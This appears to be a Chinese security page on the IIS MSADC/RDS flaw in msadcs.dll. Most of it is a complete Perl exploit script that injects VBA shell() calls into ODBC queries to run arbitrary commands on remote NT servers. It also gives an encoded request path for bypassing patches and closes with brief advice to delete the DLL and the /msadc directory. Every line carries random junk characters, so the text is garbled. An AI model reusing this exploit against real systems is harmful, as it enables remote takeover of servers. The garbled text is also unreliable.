IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Z/7dg-$?'0 fv2=B )8$ 涉及程序：
B9^R8|V Microsoft NT server
C_Gzv'C"L W&KM/9d 描述：
Uouq>N 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-TS?
fne) 5(#-)rlGj 详细：
7w i%j! 如果你没有时间读详细内容的话，就删除:
H(&Z :{L c:\Program Files\Common Files\System\Msadc\msadcs.dll
N5!& ~~ 有关的安全问题就没有了。
CKd3w8; gc,Ps 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
lkwh'@s. !.-.#<<_a 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
^mf jn-=3 关于利用ODBC远程漏洞的描述，请参看:
kc Y,vl ]7vf#1 i< http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J*K<FFp3< ?(D}5`Nfu 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
a:}E& ,&M http://www.microsoft.com/security/bulletins/MS99-025faq.asp yC"Zoa6YZ Y&GuDLUF 这里不再论述。
J3IRP/*z L;yEz[#xaT 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
0H+c4IW KTv4< c] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-l[jEJS} 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
,]q%/yxi $ eX* y \z > /q #将下面这段保存为txt文件，然后: "perl -x 文件名"
q~h:<,5 DxfMqH[vs #!perl
_z]v<,=3M #
n_P(k-^U* # MSADC/RDS 'usage' (aka exploit) script
@|=UrKA N #
?0z)E PQ| # by rain.forest.puppy
choL %g} #
&I)\*Ue2t # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
oyW00] ka # beta test and find errors!
k%Eh{dA v$3_o : use Socket; use Getopt::Std;
+* D 4( getopts("e:vd:h:XR", \%args);
TvM24Orct m^A]+G#/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!tBeuemN% X:{WZs"[x if (!defined $args{h} && !defined $args{R}) {
p8>R#9 print qq~
>?V<$>12 Usage: msadc.pl -h <host> { -d <delay> -X -v }
H"D 5 e -h <host> = host you want to scan (ip or domain)
g ;LVECk -d <seconds> = delay between calls, default 1 second
Q!]IG;3Sx| -X = dump Index Server path table, if available
7E\gxQ(vU -v = verbose
~6sE an3p -e = external dictionary file for step 5
9P0yv3 Yrsp%<qj Or a -R will resume a command session
Q c3?}os2 LzE/g)> ~; exit;}
:'Xr/| s @'gl~J7 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
k/bque if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!sG"n&uZq if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
h!Y?SO.b if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
b^Z$hnh]S $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
$m8leuo) if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
*%?d\8d j6og3.H- if (!defined $args{R}){ $ret = &has_msadc;
JCcQd 01z die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
H
pFb{ @>:i -5 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
m>YWxa . "cmd /c ";
^W}MM8
' $in=<STDIN>; chomp $in;
AsAFUuI $command="cmd /c " . $in ;
z{M8Yf | A;T[ [' if (defined $args{R}) {&load; exit;}
Y-]YDXrPQ F"=Hp4-C print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
o\ 60 n &try_btcustmr;
]738Z /)^ L;Vq j]_ print "\nStep 2: Trying to make our own DSN...";
>fbo
r'| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[ze/@29 AWL[zixR print "\nStep 3: Trying known DSNs...";
KGQC't &known_dsn;
jE*Ff&]%m RJ*F >2 print "\nStep 4: Trying known .mdbs...";
HT&p{7kFm &known_mdb;
O4N-_Kfp/ 0[i}rC9& if (defined $args{e}){
hb<k]-'! print "\nStep 5: Trying dictionary of DSN names...";
K
plM['uF &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
S\b K+ 6y9C@5p}B print "Sorry Charley...maybe next time?\n";
e2bLkb3c exit;
"qgu$N4/> hv{87`L'K( ##############################################################################
v~aLTI ?$ 16 A+ sub sendraw { # ripped and modded from whisker
,02w@we5 sleep($delay); # it's a DoS on the server! At least on mine...
w49{ -Pp[ my ($pstr)=@_;
U$%|0@`~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wn1,
EhHt die("Socket problems\n");
on_H6Y@B52 if(connect(S,pack "SnA4x8",2,80,$target)){
s,kU*kH n select(S); $|=1;
.OV-` TNWj print $pstr; my @in=<S>;
yYk|YX(7U select(STDOUT); close(S);
D>Ua#<52q return @in;
?CFoe$M } else { die("Can't connect...\n"); }}
I8Kb{[?q 2md.S$V$, ##############################################################################
E9L!)D]Y EU9[F b] sub make_header { # make the HTTP request
*73AAA5LKa my $msadc=<<EOT
F0&O/-w&u POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ZHcONYAr User-Agent: ACTIVEDATA
4@mso+tk Host: $ip
_{mJ.1)V; Content-Length: $clen
s{B_N/^ Connection: Keep-Alive
%b9fW >HX)MwAP ADCClientVersion:01.06
s_v }=C^ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
VmYBa( +xq=<jy --!ADM!ROX!YOUR!WORLD!
58PKx5`D Content-Type: application/x-varg
w_GLC%|7 Content-Length: $reqlen
4/f[`].#W 97(n\Wt 2 EOT
jP7w6sk
E ; $msadc=~s/\n/\r\n/g;
SKW;MVC return $msadc;}
_\!0t UC(9Dz ##############################################################################
Q<C@KBiVE 7G2vYKC' sub make_req { # make the RDS request
U FL0 K my ($switch, $p1, $p2)=@_;
zG<0CZQ8 my $req=""; my $t1, $t2, $query, $dsn;
TRo4I{L6S zaBG= if ($switch==1){ # this is the btcustmr.mdb query
Xa)7`bp< $query="Select * from Customers where City=" . make_shell();
Q Y@nE
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o:4CI $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
p#z;cjfSt }d@LSaM elsif ($switch==2){ # this is general make table query
{vjq y &?y $query="create table AZZ (B int, C varchar(10))";
zQn//7#-G $dsn="$p1";}
~%/'0}F ThbP;CzI# elsif ($switch==3){ # this is general exploit table query
rrYp' L $query="select * from AZZ where C=" . make_shell();
GgT=t)}wu $dsn="$p1";}
uO 6c3|Zjs }0vtc [! elsif ($switch==4){ # attempt to hork file info from index server
ynx WQ%d(` $query="select path from scope()";
1ZKz3)K $dsn="Provider=MSIDXS;";}
z(#=tC| sBbL~ce50? elsif ($switch==5){ # bad query
]gEu. Nth` $query="select";
O-?z' @5cI $dsn="$p1";}
G;Us-IRZ = >P_mPP= $t1= make_unicode($query);
9*f2 b.Aj $t2= make_unicode($dsn);
MwN1]d|6 $req = "\x02\x00\x03\x00";
r,QJG$ Jo $req.= "\x08\x00" . pack ("S1", length($t1));
7L1\1E:! $req.= "\x00\x00" . $t1 ;
t;oT {Hge $req.= "\x08\x00" . pack ("S1", length($t2));
38<~ R $req.= "\x00\x00" . $t2 ;
p_ A5C?& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Vvx a.B return $req;}
/E; ;j9 ^Kb9@lz/ ##############################################################################
:~-)Sm+ ^ }rFTh I sub make_shell { # this makes the shell() statement
\\y}DNh return "'|shell(\"$command\")|'";}
vR<fdV P*}9,VoY ##############################################################################
fMgcK$ ? G2ql na sub make_unicode { # quick little function to convert to unicode
: v|r= #OI my ($in)=@_; my $out;
\,$r,6-g for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Mr#oT? return $out;}
;b{pzIe= F iH($rSE ##############################################################################
cw*(L5b u 8}ii3P y sub rdo_success { # checks for RDO return success (this is kludge)
]JkpR aP$ my (@in) = @_; my $base=content_start(@in);
_G_ &M e0 if($in[$base]=~/multipart\/mixed/){
Z $ p^v*y return 1 if( $in[$base+10]=~/^\x09\x00/ );}
eUz U] 6h return 0;}
Q>cL?ie XfD
z
# ##############################################################################
4W[AXDS Wm];p qN sub make_dsn { # this makes a DSN for us
~)WfJ my @drives=("c","d","e","f");
;5,`Jpca print "\nMaking DSN: ";
MoC*tImWR foreach $drive (@drives) {
h
v;n[ print "$drive: ";
-wPuml!hZ| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
FKDamHL< "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
~}hba3&b;# . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
KIXwx98 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?CcR
7l return 0 if $2 eq "404"; # not found/doesn't exist
w0q?\qEX if($2 eq "200") {
PPuXas? i foreach $line (@results) {
D5o+ 0R return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
G2U5[\ } return 0;}
[)C)p*!Y) hX{g] KE> ##############################################################################
3fbD"gL ;EE{ ~ sub verify_exists {
#QJ4o_ my ($page)=@_;
n.;5P {V1 my @results=sendraw("GET $page HTTP/1.0\n\n");
<lg"M;&Ht return $results[0];}
F&nMI:h7 o O{|C&A ##############################################################################
l^!0|/Vw m!FM+kge sub try_btcustmr {
dQWA"6 ?i my @drives=("c","d","e","f");
P?W T)C2)u my @dirs=("winnt","winnt35","winnt351","win","windows");
@w.b | ;%b <uV foreach $dir (@dirs) {
Vsm%h^]d print "$dir -> "; # fun status so you can see progress
A ~yw8v5UF foreach $drive (@drives) {
i;uG:,ro print "$drive: "; # ditto
\\E_W9.u $reqlen=length( make_req(1,$drive,$dir) ) - 28;
s)`1Rf $reqlenlen=length( "$reqlen" );
9;xL!cy $clen= 206 + $reqlenlen + $reqlen;
&y+PSa%n D>"{H7m Y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
goBKr: &]w if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
LB64W ;#h else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
h M1&A h[[/p { z ##############################################################################
a?xq*|? -x3tx7% sub odbc_error {
mBD!:V' my (@in)=@_; my $base;
dwf #~7h_ my $base = content_start(@in);
8KGv?^M
6W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
r['=a/.C $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Xdp`Z' g $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
21)-: rS $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U{za m return $in[$base+4].$in[$base+5].$in[$base+6];}
-G^t-I print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
]<o.aMdV print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
0.{oA`5N $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
hsQ rd%{f 8wH41v67F ##############################################################################
V.P5v { 4LKs'$:A= sub verbose {
&d|VH y+ my ($in)=@_;
0[$Mo3c+' return if !$verbose;
6{Cu~G{]N print STDOUT "\n$in\n";}
71n uTE%! R1b
) ##############################################################################
~gLEh tW "DcueU#! sub save {
!Z0rTC3d my ($p1, $p2, $p3, $p4)=@_;
{eD>E(Y@z1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:.'T+LI print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
D=I5[t 0c4 close OUT;}
ym,Ot 1 p#8LQP~0$ ##############################################################################
]9yA0,z/ b1 ['uJF sub load {
Q\/":ISq1 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
? /|@ #& open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]Buk9LT e @p=<IN>; close(IN);
KiRt' $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
$X<<JnsK $target= inet_aton($ip) || die("inet_aton problems");
MF`k~)bDV print "Resuming to $ip ...";
Xw}Y!;<IEu $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
glKs8^ W if($p[1]==1) {
:+dWJNY: $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/>2$
X wP $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
G 4J6 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
c:,{ O 0 # if (rdo_success(@results)){print "Success!\n";}
c7T WAG_+ else { print "failed\n"; verbose(odbc_error(@results));}}
h
C`p<jp/ elsif ($p[1]==3){
$> r fAs! if(run_query("$p[3]")){
+n. j.JP"X print "Success!\n";} else { print "failed\n"; }}
[m+O0VK$ elsif ($p[1]==4){
g]#zWTw( if(run_query($drvst . "$p[3]")){
6x3Ew2 print "Success!\n"; } else { print "failed\n"; }}
M( ]|}% exit;}
*y\tns U q D>Y}Z ! ##############################################################################
-_f0AfU/a XJ1nh E sub create_table {
A)p! w aG my ($in)=@_;
uY%3X/^j $reqlen=length( make_req(2,$in,"") ) - 28;
+?m=f}>W1 $reqlenlen=length( "$reqlen" );
sbiDnRf $clen= 206 + $reqlenlen + $reqlen;
uKAHJ$% my @results=sendraw(make_header() . make_req(2,$in,""));
= {D B return 1 if rdo_success(@results);
="TOa"Zk my $temp= odbc_error(@results); verbose($temp);
u 'n%BVt
return 1 if $temp=~/Table 'AZZ' already exists/;
)mZ y>45 return 0;}
&i}cC4i *Lk&@(
##############################################################################
$ bC!T :7;Iy u sub known_dsn {
JI; i1@| b # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
F-OZIo my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ez9M]! 8Lt "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
J-{E`ibGN "banner", "banners", "ads", "ADCDemo", "ADCTest");
KUn5S&eB Vm8 _
!$F foreach $dSn (@dsns) {
l:C0:m% print ".";
7Qztc?XK next if (!is_access("DSN=$dSn"));
)Zr0_b"V:e if(create_table("DSN=$dSn")){
^?VT y5yp print "$dSn successful\n";
lVBy&f if(run_query("DSN=$dSn")){
J3J RWy@?P print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Oes+na'^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
[5#/& k{ 2&f= 4b`Z ##############################################################################
! g :G{b g
wiC , sub is_access {
8l,hP . my ($in)=@_;
+|w~j#j9` $reqlen=length( make_req(5,$in,"") ) - 28;
v%e"4:K}? $reqlenlen=length( "$reqlen" );
,<WykeC $clen= 206 + $reqlenlen + $reqlen;
!7kOw 65+0 my @results=sendraw(make_header() . make_req(5,$in,""));
WD1$"}R my $temp= odbc_error(@results);
vPq\reKe verbose($temp); return 1 if ($temp=~/Microsoft Access/);
t/BiZo|zl return 0;}
c{P`oB8 6Z}))*3 9 ##############################################################################
Nfvg[c AiI# " sub run_query {
W/QOG&g my ($in)=@_;
*==nOO9G $reqlen=length( make_req(3,$in,"") ) - 28;
}Q(I& uz $reqlenlen=length( "$reqlen" );
D[y|y 3F $clen= 206 + $reqlenlen + $reqlen;
J}u1\Id% my @results=sendraw(make_header() . make_req(3,$in,""));
nvs7s0@Fqe return 1 if rdo_success(@results);
9!C?2*>A P my $temp= odbc_error(@results); verbose($temp);
74OM tLL$ return 0;}
~"B[6^sW v wD(J.; ##############################################################################
q &o=4 W5;sps sub known_mdb {
a'~y '6 my @drives=("c","d","e","f","g");
~q>ilnL"h my @dirs=("winnt","winnt35","winnt351","win","windows");
MUl+ O y> my $dir, $drive, $mdb;
_kLoDju% my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Q{-r4n|b j!H?dnE|| # this is sparse, because I don't know of many
"MN' %"/ my @sysmdbs=( "\\catroot\\icatalog.mdb",
Sw )ftC~d "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
FvP1;E "\\system32\\certmdb.mdb",
;OyM~T gI "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
/q]@|5 I Zt=X
%M|aw my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
gJ7pu N "\\cfusion\\cfapps\\forums\\forums_.mdb",
m %3Kq%?O "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"j>0A
Hem "\\cfusion\\cfapps\\security\\realm_.mdb",
Ymvd= F "\\cfusion\\cfapps\\security\\data\\realm.mdb",
giq` L1< "\\cfusion\\database\\cfexamples.mdb",
?[">%^ "\\cfusion\\database\\cfsnippets.mdb",
RwKN "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
jm"xf7 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
9-SXu lgu "\\cfusion\\brighttiger\\database\\cleam.mdb",
,{a t?y* "\\cfusion\\database\\smpolicy.mdb",
jL1UPN "\\cfusion\\database\cypress.mdb",
fok#D>q "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
&y+eE?j "\\website\\cgi-win\\dbsample.mdb",
_,Y79 b6 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Y8(yOVy9 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
D bJ(N h ); #these are just
JTJ4a8DE foreach $drive (@drives) {
} J`Gm foreach $dir (@dirs){
jL$X3QS: foreach $mdb (@sysmdbs) {
E~N r4vq print ".";
b cf Op A if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
{n'}S( print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
\ZH=$c*W if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
)M~5F,) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
g9JtWgu } else { print "Something's borked. Use verbose next time\n"; }}}}}
kOO2 ?L|Z $Izk]o;X~ foreach $drive (@drives) {
t!GY>u>` foreach $mdb (@mdbs) {
;Wdo* ysW print ".";
'%N
p9 Iqt if(create_table($drv . $drive . $dir . $mdb)){
I%Z &i-33y print "\n" . $drive . $dir . $mdb . " successful\n";
Tj:F Qnx if(run_query($drv . $drive . $dir . $mdb)){
teb(\% , print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
pppbn]%Ob } else { print "Something's borked. Use verbose next time\n"; }}}}
|HLh?AcX }
J2rH<Fd[up 3L|k3 `I4 ##############################################################################
hSmM OS{ 4Ki'r&L\ sub hork_idx {
^.Q),{%Xo print "\nAttempting to dump Index Server tables...\n";
q I}Zg)q] print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
CAO$Z t $reqlen=length( make_req(4,"","") ) - 28;
~7v ^7;tT $reqlenlen=length( "$reqlen" );
.jU9{;[ $clen= 206 + $reqlenlen + $reqlen;
RA}PM?D/ my @results=sendraw2(make_header() . make_req(4,"",""));
[B
Al if (rdo_success(@results)){
+7w>ujeeJA my $max=@results; my $c; my %d;
}V{,
kK for($c=19; $c<$max; $c++){
=*pu+o,? $results[$c]=~s/\x00//g;
|d$aIS O` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
EifY K $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
5"+* c@L $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
y d k $d{"$1$2"}="";}
!?96P|G foreach $c (keys %d){ print "$c\n"; }
lc^%:#@ } else {print "Index server doesn't seem to be installed.\n"; }}
x =k$^V~ Tn|re Xc0e ##############################################################################
| zf||ju +_<# 8v sub dsn_dict {
$[d}g open(IN, "<$args{e}") || die("Can't open external dictionary\n");
|kn}iA@72p while(<IN>){
Y:wds=lA $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Oe?nX> next if (!is_access("DSN=$dSn"));
h W-[omr0 if(create_table("DSN=$dSn")){
j>U.(K print "$dSn successful\n";
|Z<adOg if(run_query("DSN=$dSn")){
<NUZPX29 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
qQb8K+ t print "Something's borked. Use verbose next time\n";}}}
V:lDR20*\ print "\n"; close(IN);}
aPbHrk*/ $ 8s&=OW ##############################################################################
WrV|<%EQh 975KRnj sub sendraw2 { # ripped and modded from whisker
8/=2N sleep($delay); # it's a DoS on the server! At least on mine...
eu~;G H my ($pstr)=@_;
T@L^RaPX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
lm+wjhkN die("Socket problems\n");
;J4_8N- if(connect(S,pack "SnA4x8",2,80,$target)){
) }EwEM print "Connected. Getting data";
% V$^CWOy open(OUT,">raw.out"); my @in;
QRRZMdEGs[ select(S); $|=1; print $pstr;
te` 4*t while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
pG
(8VteH close(OUT); select(STDOUT); close(S); return @in;
f ~53:;L/ } else { die("Can't connect...\n"); }}
V; ChrmE /<n_X:[) ##############################################################################
d00r&Mc V3UEuA sub content_start { # this will take in the server headers
4)`{ L$ my (@in)=@_; my $c;
MT3UJ6 ~P for ($c=1;$c<500;$c++) {
*2 [r?! if($in[$c] =~/^\x0d\x0a/){
Dx8^V%b if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Aoj X)_"z else { return $c+1; }}}
].$N@t C return -1;} # it should never get here actually
a^CIJ. P2 ej0q* TH. ##############################################################################
a+Z/=YUR 8r~4iVwg sub funky {
U+\\#5$ my (@in)=@_; my $error=odbc_error(@in);
:/u
EPki if($error=~/ADO could not find the specified provider/){
Ts.6 1Rx print "\nServer returned an ADO miscofiguration message\nAborting.\n";
*@D. =i> exit;}
ec{pWzAe if($error=~/A Handler is required/){
|d{4 _o90 print "\nServer has custom handler filters (they most likely are patched)\n";
j_k!9"bt exit;}
Cjw|.c` if($error=~/specified Handler has denied Access/){
qLcs)&}/A print "\nServer has custom handler filters (they most likely are patched)\n";
&n['#7 <(! exit;}}
1%>/%eyn5 Y gg+*z
##############################################################################
WzF /wz R {`{U\w5Af sub has_msadc {
pJV<#<#Z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
7%C6gU! r my $base=content_start(@results);
P#iBwmwN+. return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
X'O 3)Yg return 0;}
y<kW2 <? orJN# 0v4 ########################
oB+drDp8U HG{OkDx]fl 6m?}oMz 解决方案：
G/ b
$cO} 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
d tJ?J<m} 2、移除web 目录: /msadc
